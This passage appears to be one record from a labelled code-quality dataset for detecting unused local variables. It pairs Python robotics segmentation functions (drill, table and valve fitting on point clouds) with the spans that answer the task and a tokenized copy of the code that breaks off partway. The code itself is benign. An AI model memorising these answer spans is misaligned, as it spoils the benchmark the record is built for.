friendly_name=name, otdf_type=otdfType)\n obj.setAffordanceParams(params)\n obj.updateParamsFromActorTransform()\n\n frameObj = showFrame(obj.actor.GetUserTransform(), name + ' frame', parent=obj, visible=False)\n frameObj.addToView(app.getDRCView())", "metadata": "root.segmentTruss", "header": "['module', '___EOS___']", "index": 1915 }, { "content": "def getTranslationRelativeToFoot(t):\n rfoot = getLinkFrame( drcargs.getDirectorConfig()['rightFootLink'] )", "metadata": "root.getTranslationRelativeToFoot", "header": "['module', '___EOS___']", "index": 2113 }, { "content": "def segmentDrill(point1, point2, point3):\n\n\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = inputObj.polyData\n\n viewPlaneNormal = np.array(getSegmentationView().camera().GetViewPlaneNormal())\n\n polyData, origin, normal = applyPlaneFit(polyData, expectedNormal=viewPlaneNormal, searchOrigin=point1, searchRadius=0.2, angleEpsilon=0.7, returnOrigin=True)\n\n\n tablePoints = thresholdPoints(polyData, 'dist_to_plane', [-0.01, 0.01])\n updatePolyData(tablePoints, 'table plane points', parent=getDebugFolder(), visible=False)\n\n\n searchRegion = thresholdPoints(polyData, 'dist_to_plane', [0.03, 0.4])\n searchRegion = cropToSphere(searchRegion, point2, 0.30)\n drillPoints = extractLargestCluster(searchRegion)\n\n drillToTopPoint = np.array([-0.002904, -0.010029, 0.153182])\n\n zaxis = normal\n yaxis = point3 - point2\n yaxis /= np.linalg.norm(yaxis)\n xaxis = np.cross(yaxis, zaxis)\n xaxis /= np.linalg.norm(xaxis)\n yaxis = np.cross(zaxis, xaxis)\n\n t = getTransformFromAxes(xaxis, yaxis, zaxis)\n t.PreMultiply()\n t.Translate(-drillToTopPoint)\n t.PostMultiply()\n t.Translate(point2)\n\n drillMesh = getDrillMesh()\n\n aff = showPolyData(drillMesh, 'drill', cls=FrameAffordanceItem, visible=True)\n aff.actor.SetUserTransform(t)\n showFrame(t, 'drill frame', parent=aff, visible=False).addToView(app.getDRCView())\n\n params = getDrillAffordanceParams(origin, xaxis, yaxis, zaxis)\n aff.setAffordanceParams(params)\n aff.updateParamsFromActorTransform()\n aff.addToView(app.getDRCView())", "metadata": "root.segmentDrill", "header": "['module', '___EOS___']", "index": 2293 }, { "content": "def makeMovable(obj, initialTransform=None):\n '''\n Adds a child frame to the given PolyDataItem. If initialTransform is not\n given, then an origin frame is computed for the polydata using the\n center and orientation of the oriented bounding of the polydata. The polydata\n is transformed using the inverse of initialTransform and then a child frame\n is assigned to the object to reposition it.\n '''\n pd = obj.polyData\n t = initialTransform\n\n if t is None:\n origin, edges, wireframe = getOrientedBoundingBox(pd)\n edgeLengths = np.array([np.linalg.norm(edge) for edge in edges])\n axes = [edge / np.linalg.norm(edge) for edge in edges]\n boxCenter = computeCentroid(wireframe)\n t = getTransformFromAxes(axes[0], axes[1], axes[2])\n t.PostMultiply()\n t.Translate(boxCenter)\n\n pd = transformPolyData(pd, t.GetLinearInverse())\n obj.setPolyData(pd)\n\n frame = obj.getChildFrame()\n if frame:\n frame.copyFrame(t)\n else:\n frame = vis.showFrame(t, obj.getProperty('Name') + ' frame', parent=obj, scale=0.2, visible=False)\n obj.actor.SetUserTransform(t)", "metadata": "root.makeMovable", "header": "['module', '___EOS___']", "index": 2369 }, { "content": "def segmentDrillAuto(point1, polyData=None):\n\n if polyData is None:\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = inputObj.polyData\n\n expectedNormal = np.array([0.0, 0.0, 1.0])\n\n polyData, origin, normal = applyPlaneFit(polyData, expectedNormal=expectedNormal, perpendicularAxis=expectedNormal, searchOrigin=point1, searchRadius=0.4, angleEpsilon=0.2, returnOrigin=True)\n\n\n tablePoints = thresholdPoints(polyData, 'dist_to_plane', [-0.01, 0.01])\n updatePolyData(tablePoints, 'table plane points', parent=getDebugFolder(), visible=False)\n\n tablePoints = labelDistanceToPoint(tablePoints, point1)\n tablePointsClusters = extractClusters(tablePoints)\n tablePointsClusters.sort(key=lambda x: vtkNumpy.getNumpyFromVtk(x, 'distance_to_point').min())\n\n tablePoints = tablePointsClusters[0]\n updatePolyData(tablePoints, 'table points', parent=getDebugFolder(), visible=False)\n\n searchRegion = thresholdPoints(polyData, 'dist_to_plane', [0.03, 0.4])\n searchRegion = cropToSphere(searchRegion, point1, 0.30)\n drillPoints = extractLargestCluster(searchRegion, minClusterSize=1)\n\n\n # determine drill orientation (rotation about z axis)\n\n centroids = computeCentroids(drillPoints, axis=normal)\n\n centroidsPolyData = vtkNumpy.getVtkPolyDataFromNumpyPoints(centroids)\n d = DebugData()\n updatePolyData(centroidsPolyData, 'cluster centroids', parent=getDebugFolder(), visible=False)\n\n drillToTopPoint = np.array([-0.002904, -0.010029, 0.153182])\n\n zaxis = normal\n yaxis = centroids[0] - centroids[-1]\n yaxis /= np.linalg.norm(yaxis)\n xaxis = np.cross(yaxis, zaxis)\n xaxis /= np.linalg.norm(xaxis)\n yaxis = np.cross(zaxis, xaxis)\n\n # note this hack to orient the drill correctly:\n t = getTransformFromAxes(yaxis, -xaxis, zaxis)\n t.PreMultiply()\n t.Translate(-drillToTopPoint)\n t.PostMultiply()\n t.Translate(centroids[-1])\n\n drillMesh = getDrillMesh()\n\n aff = showPolyData(drillMesh, 'drill', cls=FrameAffordanceItem, visible=True)\n aff.actor.SetUserTransform(t)\n showFrame(t, 'drill frame', parent=aff, visible=False, scale=0.2).addToView(app.getDRCView())\n\n params = getDrillAffordanceParams(origin, xaxis, yaxis, zaxis)\n aff.setAffordanceParams(params)\n aff.updateParamsFromActorTransform()\n aff.addToView(app.getDRCView())", "metadata": "root.segmentDrillAuto", "header": "['module', '___EOS___']", "index": 2552 }, { "content": "def segmentDrillAlignedWithTable(point, polyData = None):\n '''\n Yet Another Drill Fitting Algorithm [tm]\n This one fits the button drill assuming its on the table\n and aligned with the table frame (because the button drill orientation is difficult to find)\n Table must have long side facing robot\n '''\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = polyData or inputObj.polyData\n\n # segment the table and recover the precise up direction normal:\n polyDataOut, tablePoints, origin, normal = segmentTable(polyData,point)\n #print origin # this origin is bunk\n #tableCentroid = computeCentroid(tablePoints)\n\n # get the bounding box edges\n OBBorigin, edges, _ = getOrientedBoundingBox(tablePoints)\n #print \"OBB out\"\n #print OBBorigin\n #print edges\n edgeLengths = np.array([np.linalg.norm(edge) for edge in edges])\n axes = [edge / np.linalg.norm(edge) for edge in edges]\n #print edgeLengths\n #print axes\n\n # check which direction the robot is facing and flip x-axis of table if necessary\n viewDirection = SegmentationContext.getGlobalInstance().getViewDirection()\n #print \"main axes\", axes[1]\n #print \"viewDirection\", viewDirection\n #dp = np.dot(axes[1], viewDirection)\n #print dp\n\n if np.dot(axes[1], viewDirection) < 0:\n #print \"flip the x-direction\"\n axes[1] = -axes[1]\n\n\n # define the x-axis to be along the 2nd largest edge\n xaxis = axes[1]\n xaxis = np.array(xaxis)\n zaxis = np.array( normal )\n yaxis = np.cross(zaxis, xaxis)\n yaxis /= np.linalg.norm(yaxis)\n xaxis = np.cross(yaxis, zaxis)\n tableOrientation = transformUtils.getTransformFromAxes(xaxis, yaxis, zaxis)\n\n #tableTransform = transformUtils.frameFromPositionAndRPY( tableCentroid , tableOrientation.GetOrientation() )\n #updateFrame(tableTransform, 'table frame [z up, x away face]', parent=\"segmentation\", visible=True).addToView(app.getDRCView())\n\n data = segmentTableScene(polyData, point )\n #vis.showClusterObjects(data.clusters + [data.table], parent='segmentation')\n\n # crude use of the table frame to determine the frame of the drill on the table\n #t2 = transformUtils.frameFromPositionAndRPY([0,0,0], [180, 0 , 90] )\n #drillOrientationTransform = transformUtils.copyFrame( om.findObjectByName('object 1 frame').transform )\n #drillOrientationTransform.PreMultiply()\n #drillOrientationTransform.Concatenate(t2)\n #vis.updateFrame(t, 'drillOrientationTransform',visible=True)\n\n #table_xaxis, table_yaxis, table_zaxis = transformUtils.getAxesFromTransform( data.table.frame )\n #drillOrientation = transformUtils.orientationFromAxes( table_yaxis, table_xaxis, -1*np.array( table_zaxis) )\n drillTransform = transformUtils.frameFromPositionAndRPY( data.clusters[0].frame.GetPosition() , tableOrientation.GetOrientation() )\n\n drillMesh = getDrillMesh()\n\n drill = om.findObjectByName('drill')\n om.removeFromObjectModel(drill)\n\n aff = showPolyData(drillMesh, 'drill', color=[0.0, 1.0, 0.0], cls=FrameAffordanceItem, visible=True)\n aff.actor.SetUserTransform(drillTransform)\n aff.addToView(app.getDRCView())\n\n frameObj = updateFrame(drillTransform, 'drill frame', parent=aff, scale=0.2, visible=False)\n frameObj.addToView(app.getDRCView())\n\n params = getDrillAffordanceParams(np.array(drillTransform.GetPosition()), [1,0,0], [0,1,0], [0,0,1], drillType=\"dewalt_button\")\n aff.setAffordanceParams(params)", "metadata": "root.segmentDrillAlignedWithTable", "header": "['module', '___EOS___']", "index": 3036 }, { "content": "def segmentDrillInHand(p1, p2):\n\n inputObj = om.findObjectByName('pointcloud snapshot')\n polyData = inputObj.polyData\n\n distanceToLineThreshold = 0.05\n\n polyData = labelDistanceToLine(polyData, p1, p2)\n polyData = thresholdPoints(polyData, 'distance_to_line', [0.0, distanceToLineThreshold])\n\n lineSegment = p2 - p1\n lineLength = np.linalg.norm(lineSegment)\n\n cropped, polyData = cropToPlane(polyData, p1, lineSegment/lineLength, [-0.03, lineLength + 0.03])\n\n updatePolyData(cropped, 'drill cluster', parent=getDebugFolder(), visible=False)\n\n\n drillPoints = cropped\n normal = lineSegment/lineLength\n\n centroids = computeCentroids(drillPoints, axis=normal)\n\n centroidsPolyData = vtkNumpy.getVtkPolyDataFromNumpyPoints(centroids)\n d = DebugData()\n updatePolyData(centroidsPolyData, 'cluster centroids', parent=getDebugFolder(), visible=False)\n\n drillToTopPoint = np.array([-0.002904, -0.010029, 0.153182])\n\n zaxis = normal\n yaxis = centroids[0] - centroids[-1]\n yaxis /= np.linalg.norm(yaxis)\n xaxis = np.cross(yaxis, zaxis)\n xaxis /= np.linalg.norm(xaxis)\n yaxis = np.cross(zaxis, xaxis)\n\n t = getTransformFromAxes(xaxis, yaxis, zaxis)\n t.PreMultiply()\n t.Translate(-drillToTopPoint)\n t.PostMultiply()\n t.Translate(p2)\n\n drillMesh = getDrillMesh()\n\n aff = showPolyData(drillMesh, 'drill', cls=FrameAffordanceItem, visible=True)\n aff.actor.SetUserTransform(t)\n showFrame(t, 'drill frame', parent=aff, visible=False).addToView(app.getDRCView())\n\n params = getDrillAffordanceParams(np.array(t.GetPosition()), xaxis, yaxis, zaxis)\n aff.setAffordanceParams(params)\n aff.updateParamsFromActorTransform()\n aff.addToView(app.getDRCView())", "metadata": "root.segmentDrillInHand", "header": "['module', '___EOS___']", "index": 3115 }, { "content": "def computeCornerFrame(aff, referenceFrame):\n\n refAxis = [0.0, -1.0, 0.0]\n referenceFrame.TransformVector(refAxis, refAxis)\n\n refAxis = np.array(refAxis)\n\n axes = [np.array(aff.params[axis]) for axis in ['xaxis', 'yaxis', 'zaxis']]\n edgeLengths = [edgeLength for edgeLength in ['xwidth', 'ywidth', 'zwidth']]\n\n axisProjections = np.array([np.abs(np.dot(axis, refAxis)) for axis in axes])\n boardAxis = axes[axisProjections.argmax()]\n if np.dot(boardAxis, refAxis) < 0:\n boardAxis = -boardAxis\n\n longAxis = axes[np.argmax(edgeLengths)]\n\n xaxis = boardAxis\n yaxis = axes[2]\n zaxis = np.cross(xaxis, yaxis)\n\n closestCorner = computeClosestCorner(aff, referenceFrame)\n cornerFrame = getTransformFromAxes(xaxis, yaxis, zaxis)\n cornerFrame.PostMultiply()\n cornerFrame.Translate(closestCorner)\n return cornerFrame", "metadata": "root.computeCornerFrame", "header": "['module', '___EOS___']", "index": 3666 }, { "content": "def computeDebrisStanceFrame(aff):\n\n debrisReferenceFrame = om.findObjectByName('debris reference frame')\n debrisWallEdge = om.findObjectByName('debris plane edge')\n\n if debrisReferenceFrame and debrisWallEdge:\n\n debrisReferenceFrame = debrisReferenceFrame.transform\n\n affGroundFrame = computeGroundFrame(aff, debrisReferenceFrame)\n\n updateFrame(affGroundFrame, 'board ground frame', parent=getDebugFolder(), visible=False)\n\n affWallEdge = computeGroundFrame(aff, debrisReferenceFrame)\n\n framePos = np.array(affGroundFrame.GetPosition())\n p1, p2 = debrisWallEdge.points\n edgeAxis = p2 - p1\n edgeAxis /= np.linalg.norm(edgeAxis)\n projectedPos = p1 + edgeAxis * np.dot(framePos - p1, edgeAxis)\n\n affWallFrame = vtk.vtkTransform()\n affWallFrame.PostMultiply()\n\n useWallFrameForRotation = True\n\n if useWallFrameForRotation:\n affWallFrame.SetMatrix(debrisReferenceFrame.GetMatrix())\n affWallFrame.Translate(projectedPos - np.array(debrisReferenceFrame.GetPosition()))\n\n stanceWidth = 0.20\n stanceOffsetX = -0.35\n stanceOffsetY = 0.45\n stanceRotation = 0.0\n\n else:\n affWallFrame.SetMatrix(affGroundFrame.GetMatrix())\n affWallFrame.Translate(projectedPos - framePos)\n\n stanceWidth = 0.20\n stanceOffsetX = -0.35\n stanceOffsetY = -0.45\n stanceRotation = math.pi/2.0\n\n stanceFrame, _, _ = getFootFramesFromReferenceFrame(affWallFrame, stanceWidth, math.degrees(stanceRotation), [stanceOffsetX, stanceOffsetY, 0.0])\n\n return stanceFrame", "metadata": "root.computeDebrisStanceFrame", "header": "['module', '___EOS___']", "index": 3841 }, { "content": "def zoomToDisplayPoint(displayPoint, boundsRadius=0.5, view=None):\n\n pickedPoint = pickPoint(displayPoint, getSegmentationView(), obj='pointcloud snapshot')\n if pickedPoint is None:\n return\n\n view = view or app.getCurrentRenderView()\n\n worldPt1, worldPt2 = getRayFromDisplayPoint(getSegmentationView(), displayPoint)\n\n diagonal = np.array([boundsRadius, boundsRadius, boundsRadius])\n bounds = np.hstack([pickedPoint - diagonal, pickedPoint + diagonal])\n bounds = [bounds[0], bounds[3], bounds[1], bounds[4], bounds[2], bounds[5]]\n view.renderer().ResetCamera(bounds)\n view.camera().SetFocalPoint(pickedPoint)\n view.render()", "metadata": "root.zoomToDisplayPoint", "header": "['module', '___EOS___']", "index": 4588 }, { "content": "def findFarRightCorner(polyData, linkFrame):\n '''\n Within a point cloud find the point to the far right from the link\n The input is the 4 corners of a minimum bounding box\n '''\n\n diagonalTransform = transformUtils.copyFrame(linkFrame)\n diagonalTransform.PreMultiply()\n diagonalTransform.Concatenate( transformUtils.frameFromPositionAndRPY([0,0,0], [0,0,45]) )\n vis.updateFrame(diagonalTransform, 'diagonal frame', parent=getDebugFolder(), visible=False)\n\n points = vtkNumpy.getNumpyFromVtk(polyData, 'Points')\n viewOrigin = diagonalTransform.TransformPoint([0.0, 0.0, 0.0])\n viewX = diagonalTransform.TransformVector([1.0, 0.0, 0.0])\n viewY = diagonalTransform.TransformVector([0.0, 1.0, 0.0])\n viewZ = diagonalTransform.TransformVector([0.0, 0.0, 1.0])\n polyData = labelPointDistanceAlongAxis(polyData, viewY, origin=viewOrigin, resultArrayName='distance_along_foot_y')\n\n vis.updatePolyData( polyData, 'cornerPoints', parent='segmentation', visible=False)\n farRightIndex = vtkNumpy.getNumpyFromVtk(polyData, 'distance_along_foot_y').argmin()\n points = vtkNumpy.getNumpyFromVtk(polyData, 'Points')\n return points[farRightIndex,:]", "metadata": "root.findFarRightCorner", "header": "['module', '___EOS___']", "index": 4736 }, { "content": "def findMinimumBoundingRectangle(polyData, linkFrame):\n '''\n Find minimum bounding rectangle of a rectangular point cloud\n The input is assumed to be a rectangular point cloud e.g. the top of a block or table\n Returns transform of far right corner (pointing away from robot)\n '''\n\n # Originally From: https://github.com/dbworth/minimum-area-bounding-rectangle\n polyData = applyVoxelGrid(polyData, leafSize=0.02)\n\n def get2DAsPolyData(xy_points):\n '''\n Convert a 2D numpy array to a 3D polydata by appending z=0\n '''\n d = np.vstack((xy_points.T, np.zeros( xy_points.shape[0]) )).T\n d2=d.copy()\n return vtkNumpy.getVtkPolyDataFromNumpyPoints( d2 )\n\n pts =vtkNumpy.getNumpyFromVtk( polyData , 'Points' )\n xy_points = pts[:,[0,1]]\n vis.updatePolyData( get2DAsPolyData(xy_points) , 'xy_points', parent=getDebugFolder(), visible=False)\n hull_points = qhull_2d.qhull2D(xy_points)\n vis.updatePolyData( get2DAsPolyData(hull_points) , 'hull_points', parent=getDebugFolder(), visible=False)\n # Reverse order of points, to match output from other qhull implementations\n hull_points = hull_points[::-1]\n # print 'Convex hull points: \\n', hull_points, \"\\n\"\n\n # Find minimum area bounding rectangle\n (rot_angle, rectArea, rectDepth, rectWidth, center_point, corner_points_ground) = min_bounding_rect.minBoundingRect(hull_points)\n vis.updatePolyData( get2DAsPolyData(corner_points_ground) , 'corner_points_ground', parent=getDebugFolder(), visible=False)\n\n polyDataCentroid = computeCentroid(polyData)\n cornerPoints = np.vstack((corner_points_ground.T, polyDataCentroid[2]*np.ones( corner_points_ground.shape[0]) )).T\n cornerPolyData = vtkNumpy.getVtkPolyDataFromNumpyPoints(cornerPoints)\n\n # Create a frame at the far right point - which points away from the robot\n farRightCorner = findFarRightCorner(cornerPolyData , linkFrame)\n viewDirection = SegmentationContext.getGlobalInstance().getViewDirection()\n\n viewFrame = SegmentationContext.getGlobalInstance().getViewFrame()\n #vis.showFrame(viewFrame, \"viewFrame\")\n\n robotYaw = math.atan2( viewDirection[1], viewDirection[0] )*180.0/np.pi\n blockAngle = rot_angle*(180/math.pi)\n #print \"robotYaw \", robotYaw\n #print \"blockAngle \", blockAngle\n blockAngleAll = np.array([blockAngle , blockAngle+90 , blockAngle+180, blockAngle+270])\n\n values = blockAngleAll - robotYaw\n for i in range(0,4):\n if(values[i]>180):\n values[i]=values[i]-360\n\n values = abs(values)\n min_idx = np.argmin(values)\n if ( (min_idx==1) or (min_idx==3) ):\n #print \"flip rectDepth and rectWidth as angle is not away from robot\"\n temp = rectWidth ; rectWidth = rectDepth ; rectDepth = temp\n\n #print \"best angle\", blockAngleAll[min_idx]\n rot_angle = blockAngleAll[min_idx]*math.pi/180.0\n\n cornerTransform = transformUtils.frameFromPositionAndRPY( farRightCorner , [0,0, np.rad2deg(rot_angle) ] )\n\n vis.showFrame(cornerTransform, \"cornerTransform\", parent=getDebugFolder(), visible=False)\n\n #print \"Minimum area bounding box:\"\n #print \"Rotation angle:\", rot_angle, \"rad (\", rot_angle*(180/math.pi), \"deg )\"\n #print \"rectDepth:\", rectDepth, \" rectWidth:\", rectWidth, \" Area:\", rectArea\n #print \"Center point: \\n\", center_point # numpy array\n #print \"Corner points: \\n\", cornerPoints, \"\\n\" # numpy array\n return cornerTransform, rectDepth, rectWidth, rectArea", "metadata": "root.findMinimumBoundingRectangle", "header": "['module', '___EOS___']", "index": 4760 } ]
[ { "span": "temp=", "start_line": 215, "start_column": 12, "end_line": 215, "end_column": 16 }, { "span": "folderObj ", "start_line": 423, "start_column": 4, "end_line": 423, "end_column": 13 }, { "span": "leverP1 ", "start_line": 1800, "start_column": 4, "end_line": 1800, "end_column": 11 }, { "span": "leverP2 ", "start_line": 1801, "start_column": 4, "end_line": 1801, "end_column": 11 }, { "span": "wyeMeshLeftHandle ", "start_line": 1837, "start_column": 4, "end_line": 1837, "end_column": 21 }, { "span": "handlePoint ", "start_line": 1878, "start_column": 4, "end_line": 1878, "end_column": 15 }, { "span": "stanceYaw ", "start_line": 1923, "start_column": 4, "end_line": 1923, "end_column": 13 }, { "span": "rfoot ", "start_line": 2114, "start_column": 4, "end_line": 2114, "end_column": 9 }, { "span": "drillPoints ", "start_line": 2310, "start_column": 4, "end_line": 2310, "end_column": 15 }, { "span": "edgeLengths ", "start_line": 2382, "start_column": 8, "end_line": 2382, "end_column": 19 }, { "span": "frame ", "start_line": 2396, "start_column": 8, "end_line": 2396, "end_column": 13 }, { "span": "d ", "start_line": 2583, "start_column": 4, "end_line": 2583, "end_column": 5 }, { "span": "edgeLengths ", "start_line": 3056, "start_column": 4, "end_line": 3056, "end_column": 15 }, { "span": "d ", "start_line": 3139, "start_column": 4, "end_line": 3139, "end_column": 5 }, { "span": "longAxis ", "start_line": 3681, "start_column": 4, "end_line": 3681, "end_column": 12 }, { "span": "affWallEdge ", "start_line": 3854, "start_column": 8, "end_line": 3854, "end_column": 19 }, { "span": "worldPt1,", "start_line": 4596, "start_column": 4, "end_line": 4596, "end_column": 12 }, { "span": "worldPt2 ", "start_line": 4596, "start_column": 14, "end_line": 4596, "end_column": 22 }, { "span": "viewX ", "start_line": 4749, "start_column": 4, "end_line": 4749, "end_column": 9 }, { "span": "viewZ ", "start_line": 4751, "start_column": 4, "end_line": 4751, "end_column": 9 }, { "span": "viewFrame ", "start_line": 4799, "start_column": 4, "end_line": 4799, "end_column": 13 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Dispa", "rity", "Point", "Cloud", "Item_", "(_", "vis_", "._", "Poly", "Data", "Item_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "utime", "_", "=_", "self_", "._", "image", "Manager_", "._", "queue_", "._", "get", "Curr", "ent", "Image", "Time_", "(_", "self_", "._", "came", "ra", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "utime", "_", "==_", "self_", "._", "last", "Ut", "ime_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "utime", "_", "<_", "self_", "._", "last", "Ut", "ime_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "temp_", "=_", "0_", "#", " ", "dummy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "(_", "utime", "_", "-_", "self_", "._", "last", "Ut", "ime_", "<_", "1E", "6_", "/_", "self_", "._", "get", "Property_", "(_", "'", "Target", " ", "FPS", "'_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "decima", "tion_", "=_", "int_", "(_", "self_", "._", "properties_", "._", "get", "Proper", "ty", "Enum", "Value_", "(_", "'", "Deci", "mati", "on", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "remove", "Size_", "=_", "int_", "(_", "self_", "._", "properties_", "._", "get", "Property_", "(_", "'", "Remove", " ", "Size", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "get", "Dispa", "rity", "Point", "Cloud_", "(_", "decima", "tion_", ",_", "images", "Channel_", "=_", "self_", "._", "get", "Property_", "(_", "'", "Chan", "nel", "'_", ")_", ",_", "came", "ra", "Name_", "=_", "self_", "._", "get", "Property_", "(_", "'", "Came", "ra", " ", "name", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "remove", "Outl", "iers", "_", "=_", "False_", ",_", "remove", "Size_", "=_", "remove", "Size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "set", "Poly", "Data_", "(_", "poly", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "self_", "._", "last", "Ut", "ime_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "set", "Property_", "(_", "'", "Color", " ", "By", "'_", ",_", "'", "rgb", "\\u", "colors", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "last", "Ut", "ime_", "=_", "utime", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "show", "Maj", "or", "Plan", "es_", "(_", "poly", "Data_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "poly", "Data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input", "Obj_", "._", "set", "Property_", "(_", "'", "Vis", "ibl", "e", "'_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "om_", "._", "remove", "Fro", "m", "Object", "Model_", "(_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "major", " ", "plane", "s", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "segmentation", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "folder", "Obj_", "=_", "om_", "._", "get", "Or", "Creat", "e", "Container_", "(_", "'", "major", " ", "plane", "s", "'_", ",_", "folder", "Obj_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "origin_", "=_", "Segmentation", "Context_", "._", "get", "Global", "Instance_", "(_", ")_", "._", "get", "View", "Frame_", "(_", ")_", "._", "Get", "Position_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "label", "Distan", "ce", "To", "Point_", "(_", "poly", "Data_", ",_", "origin_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "distance", "\\u", "to", "\\u", "point", "'_", ",_", "[_", "1_", ",_", "4_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "poly", "Data", "List_", "=_", "get", "Maj", "or", "Plan", "es_", "(_", "poly", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "i_", ",_", "poly", "Data_", "in_", "enumerate_", "(_", "poly", "Data", "List_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "=_", "show", "Poly", "Data_", "(_", "poly", "Data_", ",_", "'", "plane", " ", "%", "d", "'_", "%_", "i_", ",_", "color_", "=_", "get", "Random", "Color_", "(_", ")_", ",_", "visible_", "=_", "True_", ",_", "parent_", "=_", "'", "major", " ", "plane", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "obj_", "._", "set", "Property_", "(_", "'", "Point", " ", "Size", "'_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "segment", "Leve", "r", "Val", "ve_", "(_", "point1_", ",_", "point2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input", "Obj_", "=_", "om_", "._", "find", "Object", "By", "Name_", "(_", "'", "point", "cloud", " ", "snapshot", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", "=_", "input", "Obj_", "._", "poly", "Data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "view", "Plan", "e", "Normal_", "=_", "np_", "._", "array_", "(_", "get", "Segmentation", "View_", "(_", ")_", "._", "camera_", "(_", ")_", "._", "Get", "View", "Plan", "e", "Normal_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poly", "Data_", ",_", "origin_", ",_", "normal_", "=_", "appl", "y", "Plan", "e", "Fit_", "(_", "poly", "Data_", ",_", "expected", "Normal_", "=_", "view", "Plan", "e", "Normal_", ",_", "search", "Origin_", "=_", "point1_", ",_", "search", "Radius_", "=_", "0.2_", ",_", "angle", "Eps", "ilon", "_", "=_", "0.7_", ",_", "return", "Origin_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wall", "Points_", "=_", "threshol", "d", "Points_", "(_", "poly", "Data_", ",_", "'", "dist", "\\u", "to", "\\u", "plane", "'_", ",_", "[_", "-_", "0.01_", ",_", "0.01_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "update", "Poly", "Data_", "(_", "wall", "Points_", ",_", "'", "wall", " ", "points", "'_", ",_", 